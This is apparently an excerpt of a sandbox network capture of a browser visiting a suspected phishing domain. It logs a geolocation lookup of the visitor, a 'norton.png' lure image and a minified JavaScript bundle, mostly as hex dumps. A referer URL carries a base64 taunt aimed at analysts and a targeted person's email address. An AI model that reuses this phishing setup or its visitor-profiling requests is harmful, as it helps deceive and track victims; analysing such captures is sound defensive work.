2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 1e 5c 0b a9 64 f5 08 04 33 ef aa db b7 cd ab d1 f6 97 d3 89 2b 66 7e ab 25 66 e5 52 04 7a 4c 29 d6 c4 6e cd fe 68 bb 30 c6 c6 20 7d fe 8d 67 45 bc 46 b6 49 5e 64 e5 5d 00 e3 f6 ed 7f 50 1a 22 df 17 39 b4 54 eb 1a 98 70 11 33 f3 22 a9 68 4e 5b 87 71 cb 00 6d 57 c7 57 d4 cd 8d 9f 17 52 4a 79 d8 4f 82 8a 5a c4 93 c8 53 c5 93 0d 83 05 44 7e 06 56 5f ac c2 e4 39 58 6c 04 6b 10 6f a2 2c b9 af f2 91 58 06 4b 58 0f f7 7b 88 e6 33 31 62 dd 95 e0 6a 95 c1 0d 9a d1 20 a1 94 26 35 86 ec 14 91 af f4 b1 51 db 2d 92 47 1f 75 2f 9e 0e b9 82 88 7b 57 98 40 0a ea fb f9 42 cd a5 be 42 95 91 b6 7d fb cf b8 14 31 6d dc 1b 17 84 22 0a ee 22 88 b9 ab 92 13 c0 78 31 26 26 79 99 30 ff e6 13 ff e2 99 b3 1f e4 c4 d0 a0 6c aa f1 53 27 89 98 8f f4 d9 d7 3e a0 9f fb c3 66 61 f3 98 9b Data Ascii: \d3+f~%fRzL)nh0 }gEFI^d]P"9Tp3"hN[qmWWRJyOZSD~V_9Xlko,XKX{31bj &5Q-Gu/{W@BB}1m""x1&&y0lS'>fa
2024-11-27 03:06:46 UTC	1282	IN	Data Raw: af fb 65 cd c6 8b ae bb ea 96 2d 77 2a ff f5 68 54 a9 ac 9c 63 18 25 6e ab 9c 90 34 ac a0 3e 31 cf 5b ab 7f 4c 2d a2 5f 7a eb e0 dc e7 9e 3b 8b 11 e4 98 9a dd 79 37 33 e5 fb 52 a2 44 e9 de 68 ac 57 5b 5b ee 54 fe f3 27 9a 45 5a 13 57 4c 08 46 bf 8b 68 76 99 28 50 75 a6 aa 30 f7 b9 e7 6f 1a 37 6e b6 62 64 fc b2 6c bc 04 02 81 40 58 11 78 4b 20 b6 f7 d5 9f 3e 7d 4a a9 ab 9b 13 3b 0f 6a ce 94 eb c2 fb 09 53 b7 cb aa 28 66 80 9e 48 3c c6 27 f6 d7 94 48 7d ca 61 ff 10 1a 28 66 a8 5c 96 60 a9 d4 a3 6e db 08 1a de 8d 6b d7 9b f4 d1 44 5f e8 3d 4f 9c c6 bc 57 99 d0 0f 33 3f 96 08 54 94 55 55 bc 1e 9c e4 20 b4 6f cf 4b 0b 97 2e 7f c6 d7 e3 8b 40 20 10 08 ab 40 20 7c f5 8f 41 7e a1 83 07 5e 16 76 0d 39 92 1c a5 0f 3e 89 a7 cf bf 01 c6 f8 b8 19 ec 67 93 40 b8 8c 7f Data Ascii: e-w*hTc%n4>1[L-_z;y73RDhW[[T'EZWLFhv(Pu0o7nbdl@XxK >}J;jS(fH<'H}a(f\`nkD_=OW3?TUU oK.@ @ \|A~^v9>g@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	34.117.59.81	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:46 UTC	616	OUT	GET /json?token=51dda6bce069cf HTTP/1.1 Host: ipinfo.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://ft0.blockchainmemspool.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ft0.blockchainmemspool.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:46 UTC	457	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 274 content-type: application/json; charset=utf-8 date: Wed, 27 Nov 2024 03:06:46 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-27 03:06:46 UTC	274	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "ip": "8.46.123.75", "hostname": "static-cpe-8-46-123-75.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone": "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49746	91.208.197.216	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:46 UTC	871	OUT	GET /norton.png HTTP/1.1 Host: ft0.blockchainmemspool.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:46 UTC	304	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 27 Nov 2024 03:06:46 GMT Content-Type: image/png Content-Length: 97680 Last-Modified: Mon, 25 Nov 2024 14:35:50 GMT Connection: close ETag: "67448b46-17d90" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2024-11-27 03:06:46 UTC	1065	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c0 00 11 08 01 b9 03 34 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC4"}!1AQa"q2
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 00 b9 3e a7 f3 34 64 fa 9f cc d2 51 40 0b 93 ea 7f 33 46 4f a9 fc cd 25 14 01 2a 12 41 c9 cf 3f e1 45 09 d0 fd 7f a0 a2 80 23 6e a7 ea 7f 9d 25 2b 75 3f 53 fc e9 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 Data Ascii: %>4dQ@3FO%>4dQ@3FO%>4dQ@3FO%>4dQ@3FO%>4dQ@3FO%>4dQ@3FO%>4dQ@3FO%>4dQ@3FO%*A?E#n%+u?S((((((
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 7a 9e 2c f1 b9 d4 4d c1 7f b3 fd 9b ec b6 5e 56 3c df 3e 4c f9 75 f0 5e 27 e6 5c 05 94 70 27 10 e6 3e 27 52 c0 d6 e0 4c 2e 1b 0f 2e 21 a5 99 65 98 8c e7 03 3c 34 f1 d8 5a 58 75 88 cb 30 b8 5c 6e 23 17 15 8e 9e 15 c6 14 b0 b5 9c 66 a3 51 c5 46 0e 51 f7 f8 67 0d 9e 62 b3 cc bf 0d c3 32 ad 4f 3e a9 52 6b 2f 96 1b 13 0c 1d 78 d5 54 2a 4a a3 a7 89 ab 56 8d 3a 4f d8 46 ad dc aa c5 38 b7 14 db 95 9f ed 4f 86 7e 07 78 07 c2 7a cd a6 bd a3 d9 5e c5 a8 58 b3 b5 bb cb a8 5c 4d 18 2e 8d 1b 16 8d d8 ab 7c ac 71 91 c1 e6 bd 7e be 5f f0 07 ed 1c de 38 f1 56 99 e1 a3 e1 15 d3 46 a2 f2 21 bc 1a d9 ba 30 f9 71 3c b9 f2 3f b2 ad f7 e7 66 31 e6 a6 33 9c 9e 95 f5 05 7c 8f 81 79 ff 00 82 bc 45 c2 d9 8e 33 c0 cc 36 4f 85 e1 7a 59 dd 6c 3e 63 4f 25 e1 ec 77 0d e1 9e 77 1c 16 0a Data Ascii: z,M^V<>Lu^'\p'>'RL..!e<4ZXu0\n#fQFQgb2O>Rk/xT*JV:OF8O~xz^X\M.\|q~_8VF!0q<?f13\|yE36OzYl>cO%ww
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 65 99 e1 31 31 a4 f1 78 09 57 c5 db 09 46 94 6b 52 f6 75 a2 a2 b9 e4 fd 9d f9 25 79 59 9f 3b ff 00 c1 15 3f 62 af 8d bf b0 cf ec d1 e2 df 85 df 1d ac bc 3f 63 e2 ad 63 e2 4e a3 e2 7b 38 bc 39 ae c1 af d9 b6 97 73 a5 e9 d6 91 3c 97 76 f1 c6 89 31 96 da 40 62 2b b8 00 0e 70 6b f4 3f e3 e7 c3 df 11 fc 41 d1 f4 2b 3f 0e c5 6d 2c d6 1a 85 c5 c5 c0 b9 b9 4b 60 b1 4b 6e 23 52 a5 c1 dc 77 0c 10 3a 75 a5 f8 3f fb 53 7e ce 5f b4 06 a3 ab e9 1f 04 be 35 7c 38 f8 a5 aa 68 16 70 ea 1a d5 87 82 3c 55 a5 78 82 eb 4b b1 b9 98 db c1 77 7b 0e 9f 71 3b db c1 2c e0 c5 1c 92 05 56 90 6d 07 35 ef 95 fd 51 e2 27 01 e4 9e 26 f0 66 7b c0 bc 45 3c 75 3c 97 88 28 50 c3 e3 e7 96 d7 a7 86 c6 c6 9e 1f 19 86 c7 53 fa bd 7a b4 31 14 e9 cb db 61 69 29 39 51 a8 9c 39 a3 64 da 6b f2 be 1f Data Ascii: e11xWFkRu%yY;?b?ccN{89s<v1@b+pk?A+?m,K`Kn#Rw:u?S~_5\|8hp<UxKw{q;,Vm5Q'&f{E<u<(PSz1ai)9Q9dk
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 83 69 da ec 00 80 cb 7d 6b e5 4c 57 8c ed b9 b4 78 5c 39 e7 0c eb 22 82 79 43 5e ef e1 8f da 8f c2 3a 99 8e 1f 10 e9 d7 ba 04 ed 80 d3 21 1a 85 90 63 8c fc f1 a4 77 0a a0 e4 e4 c1 80 3b 93 5f 9f f4 57 f4 67 03 fd 31 be 90 1c 0f 52 8c 69 71 be 27 89 72 fa 4e 3c d9 67 18 51 a7 9f 51 a9 08 d9 28 3c 76 23 93 39 a4 b9 57 2a 54 33 3a 49 27 b3 69 5b f3 bc ef c1 ee 00 ce e3 37 2c 92 96 5b 88 95 da c4 e5 13 96 02 71 6f af b0 a7 7c 1c dd f5 fd e6 1a 4f 7d 55 cf d5 3b bf 8d 3f 08 74 f8 60 9f 53 f8 9d e0 3d 25 2e 10 49 12 ea fe 2a d1 34 a9 59 0f 73 06 a1 7b 6d 32 1f 55 78 d5 87 71 59 df f0 d0 5f 01 ff 00 e8 b4 fc 29 ff 00 c3 83 e1 3f fe 5b 57 e5 1e bf e1 cd 07 c5 5a 74 da 4f 89 34 8d 3f 5b d3 67 04 49 67 a9 5a c5 75 09 24 15 dc ab 2a b6 c7 01 8e d9 10 ab ae 4e d6 15 Data Ascii: i}kLWx\9"yC^:!cw;_Wg1Riq'rN<gQQ(<v#9WT3:I'i[7,[qo\|O}U;?t`S=%.I4Ys{m2UxqY_)?[WZtO4?[gIgZu$*N
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 1e 84 8f 18 0c 8a 7f fc 38 7f c3 bf f4 72 3a ef fe 1b ab 4f fe 6c 68 21 bb b6 fb 9f b4 bf f0 d0 5f 01 ff 00 e8 b4 fc 29 ff 00 c3 83 e1 3f fe 5b 51 ff 00 0d 05 f0 1f fe 8b 4f c2 9f fc 38 3e 13 ff 00 e5 b5 7e 2d 7f c3 87 fc 3b ff 00 47 23 ae ff 00 e1 ba b4 ff 00 e6 c6 8f f8 70 ff 00 87 7f e8 e4 75 df fc 37 56 9f fc d8 d0 23 f6 97 fe 1a 0b e0 3f fd 16 9f 85 3f f8 70 7c 27 ff 00 cb 6a 3f e1 a0 be 03 ff 00 d1 69 f8 53 ff 00 87 07 c2 7f fc b6 af c5 af f8 70 ff 00 87 7f e8 e4 75 df fc 37 56 9f fc d8 d1 ff 00 0e 1f f0 ef fd 1c 8e bb ff 00 86 ea d3 ff 00 9b 1a 00 fd a5 ff 00 86 82 f8 0f ff 00 45 a7 e1 4f fe 1c 1f 09 ff 00 f2 da 8f f8 68 2f 80 ff 00 f4 5a 7e 14 ff 00 e1 c1 f0 9f ff 00 2d ab f1 6b fe 1c 3f e1 df fa 39 1d 77 ff 00 0d d5 a7 ff 00 36 34 7f c3 87 fc 3b Data Ascii: 8r:Olh!_)?[QO8>~-;G#pu7V#??p\|'j?iSpu7VEOh/Z~-k?9w64;
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 91 d7 7f f0 dd 5a 7f f3 63 47 fc 38 7f c3 bf f4 72 3a ef fe 1b ab 4f fe 6c 68 03 f6 97 fe 1a 0b e0 3f fd 16 9f 85 3f f8 70 7c 27 ff 00 cb 6a 3f e1 a0 be 03 ff 00 d1 69 f8 53 ff 00 87 07 c2 7f fc b6 af c5 af f8 70 ff 00 87 7f e8 e4 75 df fc 37 56 9f fc d8 d1 ff 00 0e 1f f0 ef fd 1c 8e bb ff 00 86 ea d3 ff 00 9b 1a 00 fd a5 ff 00 86 82 f8 0f ff 00 45 a7 e1 4f fe 1c 1f 09 ff 00 f2 da 8f f8 68 2f 80 ff 00 f4 5a 7e 14 ff 00 e1 c1 f0 9f ff 00 2d ab f1 6b fe 1c 3f e1 df fa 39 1d 77 ff 00 0d d5 a7 ff 00 36 34 7f c3 87 fc 3b ff 00 47 23 ae ff 00 e1 ba b4 ff 00 e6 c6 80 3f 69 7f e1 a0 be 03 ff 00 d1 69 f8 53 ff 00 87 07 c2 7f fc b6 a3 fe 1a 0b e0 3f fd 16 9f 85 3f f8 70 7c 27 ff 00 cb 6a fc 5a ff 00 87 0f f8 77 fe 8e 47 5d ff 00 c3 75 69 ff 00 cd 8d 1f f0 e1 ff 00 Data Ascii: ZcG8r:Olh??p\|'j?iSpu7VEOh/Z~-k?9w64;G#?iiS??p\|'jZwG]ui
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 46 6a 58 9c 7a ba 9d 2c 9e 8d 4a 75 12 b5 4c 6d 6c 34 1d 2a 78 8f da fc 35 f0 7b 31 e3 17 4b 36 cd dd 6c b3 87 54 93 85 44 94 71 99 9f 2b 57 86 0e 33 4d 53 c3 bd 54 b1 93 8b 8b 77 8d 08 54 92 94 a9 fa 9f c4 af 8f 1e 27 f1 c3 dc 69 f6 0e fa 1f 87 8b 14 4b 2b 49 5d 6e 6e a3 07 87 bf b9 52 ad 21 7e a6 18 c2 42 a0 ed 22 4c 16 3e 12 49 27 24 92 4f 52 79 27 f1 a4 a2 bf c5 ae 38 e3 fe 30 f1 23 3e c4 f1 2f 1b 67 f8 fc ff 00 37 c4 b9 7e ff 00 19 56 f4 b0 d4 9c 9c a3 85 c0 e1 60 a1 85 c0 60 e9 b6 d5 2c 2e 12 95 1a 30 5a a8 5d b6 ff 00 b3 72 4c 83 27 e1 cc 0d 3c b7 25 c0 50 c0 61 29 a5 ee 51 8d a7 56 69 28 ba b5 ea ca f5 6b d6 92 4b 9a ad 59 ce 72 ea ed 64 14 51 45 7c 79 ec 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 51 40 05 14 55 5b eb fb 2d 2e ce e7 51 Data Ascii: FjXz,JuLml4*x5{1K6lTDq+W3MSTwT'iK+I]nnR!~B"L>I'$ORy'80#>/g7~V``,.0Z]rL'<%Pa)QVi(kKYrdQE\|yQ@Q@Q@Q@Q@U[-.Q
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 0f ed 4b e3 3f 04 eb da 9f 85 fc 55 e1 ef 86 1a 96 a1 a2 6b fa 35 dc b6 3a a6 97 7b 1d e5 8a a5 d5 95 dc 2c b2 c1 32 ab b0 0e 8c 18 06 3c f3 5f e7 62 7f e0 a1 df b7 00 24 7f c3 52 7c 69 e0 9f f9 9e b5 bf fe 4a a0 a8 c5 cb 5b ff 00 5a 1f ea 87 91 ea 3f 31 46 47 a8 fc c5 7f 95 df fc 3c 3b f6 e1 ff 00 a3 a4 f8 d3 ff 00 85 d6 b7 ff 00 c9 54 0f f8 28 7f ed c2 08 3f f0 d4 9f 1a 78 39 ff 00 91 eb 5b fe b7 46 82 bd 9b ee bf af e9 ff 00 4f 4f f5 45 a2 bf 21 ff 00 e0 8b ff 00 b7 51 fd b6 bf 64 5f 0f 5d 78 af 59 8f 52 f8 c7 f0 90 59 f8 0f e2 69 96 60 da 8e a7 35 a5 b0 1a 0f 8a ee e3 76 32 b3 78 87 4d 88 49 73 74 41 8e e3 54 b5 d4 4a 90 ea f1 a7 eb c5 04 35 66 d7 60 a2 8a 28 10 12 07 52 07 d6 93 23 d4 7e 62 bf 94 ff 00 f8 39 5b f6 8a f8 e7 f0 1f 54 fd 93 63 f8 39 f1 Data Ascii: K?Uk5:{,2<_b$R\|iJ[Z?1FG<;T(?x9[FOOE!Qd_]xYRYi`5v2xMIstATJ5f`(R#~b9[Tc9
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 07 bc 2d 7c 57 89 8f 10 67 94 64 b8 77 07 5a d4 30 f2 4e 3f da f8 aa 52 4d d3 e8 fe a3 45 e9 88 9c 7f 8d 34 f0 f0 7e ed 67 08 75 5d 57 50 d6 f5 0b ad 53 54 ba 96 f2 fa f2 56 9a e2 e2 66 2e ee ec 7d 4f 45 03 0a aa 30 aa a0 2a 80 00 15 9f 45 15 fe 24 62 71 38 8c 66 22 be 2f 17 5e b6 2b 15 8a ad 53 11 89 c4 e2 2a 4e b5 7c 45 7a d3 75 2a d6 ad 56 a3 95 4a b5 6a d4 94 a7 52 a4 e5 29 4e 72 72 93 6d b6 7f 6b 52 a5 4e 8d 3a 74 68 d3 85 2a 54 a1 1a 74 a9 d3 8a 85 3a 74 e1 15 18 42 10 8a 51 8c 23 14 a3 18 c5 24 92 49 2b 20 a2 8a 2b 12 c2 8a 2a cd a5 9d dd fd c4 56 96 36 d3 dd dc cc c1 22 b7 b6 89 e6 9a 47 24 00 a9 1c 6a ce c4 92 38 50 4d 69 4a 95 5a f5 69 d1 a1 4e a5 6a d5 67 1a 74 a9 52 84 aa 55 a9 52 6d 46 10 a7 4e 09 ca 73 94 9a 8c 63 14 e5 26 d2 49 b6 4c e7 0a Data Ascii: -\|WgdwZ0N?RME4~gu]WPSTVf.}OE0E$bq8f"/^+SN\|EzuVJjR)NrrmkRN:thTt:tBQ#$I+ +*V6"G$j8PMiJZiNjgtRURmFNsc&IL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49748	91.208.197.216	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:46 UTC	375	OUT	GET /assets/index-DMPAUMCk.js HTTP/1.1 Host: ft0.blockchainmemspool.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:46 UTC	356	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 27 Nov 2024 03:06:46 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 319114 Last-Modified: Mon, 25 Nov 2024 14:35:53 GMT Connection: close Vary: Accept-Encoding ETag: "67448b49-4de8a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Accept-Ranges: bytes
2024-11-27 03:06:46 UTC	1013	IN	Data Raw: 76 61 72 20 72 67 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 6f 67 3d 28 65 2c 74 2c 6e 29 3d 3e 74 20 69 6e 20 65 3f 72 67 28 65 2c 74 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 6e 7d 29 3a 65 5b 74 5d 3d 6e 3b 76 61 72 20 46 72 3d 28 65 2c 74 2c 6e 29 3d 3e 6f 67 28 65 2c 74 79 70 65 6f 66 20 74 21 3d 22 73 79 6d 62 6f 6c 22 3f 74 2b 22 22 3a 74 2c 6e 29 3b 66 75 6e 63 74 69 6f 6e 20 69 67 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 63 6f 6e 73 74 20 72 3d 74 5b 6e 5d 3b 69 66 28 74 79 70 65 6f 66 20 72 21 3d 22 73 74 72 69 6e 67 22 26 26 21 41 72 72 61 Data Ascii: var rg=Object.defineProperty;var og=(e,t,n)=>t in e?rg(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var Fr=(e,t,n)=>og(e,typeof t!="symbol"?t+"":t,n);function ig(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!Arra
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 2c 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 3d 3d 22 75 73 65 2d 63 72 65 64 65 6e 74 69 61 6c 73 22 3f 69 2e 63 72 65 64 65 6e 74 69 61 6c 73 3d 22 69 6e 63 6c 75 64 65 22 3a 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 3d 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3f 69 2e 63 72 65 64 65 6e 74 69 61 6c 73 3d 22 6f 6d 69 74 22 3a 69 2e 63 72 65 64 65 6e 74 69 61 6c 73 3d 22 73 61 6d 65 2d 6f 72 69 67 69 6e 22 2c 69 7d 66 75 6e 63 74 69 6f 6e 20 72 28 6f 29 7b 69 66 28 6f 2e 65 70 29 72 65 74 75 72 6e 3b 6f 2e 65 70 3d 21 30 3b 63 6f 6e 73 74 20 69 3d 6e 28 6f 29 3b 66 65 74 63 68 28 6f 2e 68 72 65 66 2c 69 29 7d 7d 29 28 29 3b 66 75 6e 63 74 69 6f 6e 20 4a 64 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 26 26 4f 62 6a 65 63 74 2e Data Ascii: ,o.crossOrigin==="use-credentials"?i.credentials="include":o.crossOrigin==="anonymous"?i.credentials="omit":i.credentials="same-origin",i}function r(o){if(o.ep)return;o.ep=!0;const i=n(o);fetch(o.href,i)}})();function Jd(e){return e&&e.__esModule&&Object.
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 65 21 3d 22 6f 62 6a 65 63 74 22 26 26 74 79 70 65 6f 66 20 65 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 65 21 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 73 65 74 53 74 61 74 65 28 2e 2e 2e 29 3a 20 74 61 6b 65 73 20 61 6e 20 6f 62 6a 65 63 74 20 6f 66 20 73 74 61 74 65 20 76 61 72 69 61 62 6c 65 73 20 74 6f 20 75 70 64 61 74 65 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 20 77 68 69 63 68 20 72 65 74 75 72 6e 73 20 61 6e 20 6f 62 6a 65 63 74 20 6f 66 20 73 74 61 74 65 20 76 61 72 69 61 62 6c 65 73 2e 22 29 3b 74 68 69 73 2e 75 70 64 61 74 65 72 2e 65 6e 71 75 65 75 65 53 65 74 53 74 61 74 65 28 74 68 69 73 2c 65 2c 74 2c 22 73 65 74 53 74 61 74 65 22 29 7d 3b 50 72 2e 70 72 Data Ascii: unction(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};Pr.pr
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 2f 5c 2f 2b 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 53 73 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 3d 3d 22 6f 62 6a 65 63 74 22 26 26 65 21 3d 3d 6e 75 6c 6c 26 26 65 2e 6b 65 79 21 3d 6e 75 6c 6c 3f 76 67 28 22 22 2b 65 2e 6b 65 79 29 3a 74 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 7d 66 75 6e 63 74 69 6f 6e 20 54 69 28 65 2c 74 2c 6e 2c 72 2c 6f 29 7b 76 61 72 20 69 3d 74 79 70 65 6f 66 20 65 3b 28 69 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 7c 7c 69 3d 3d 3d 22 62 6f 6f 6c 65 61 6e 22 29 26 26 28 65 3d 6e 75 6c 6c 29 3b 76 61 72 20 6c 3d 21 31 3b 69 66 28 65 3d 3d 3d 6e 75 6c 6c 29 6c 3d 21 30 3b 65 6c 73 65 20 73 77 69 74 63 68 28 69 29 7b 63 61 73 65 22 73 74 72 69 6e 67 22 3a 63 61 73 65 22 6e 75 6d 62 65 72 22 3a 6c 3d 21 30 3b 62 Data Ascii: /\/+/g;function Ss(e,t){return typeof e=="object"&&e!==null&&e.key!=null?vg(""+e.key):t.toString(36)}function Ti(e,t,n,r,o){var i=typeof e;(i==="undefined"\|\|i==="boolean")&&(e=null);var l=!1;if(e===null)l=!0;else switch(i){case"string":case"number":l=!0;b
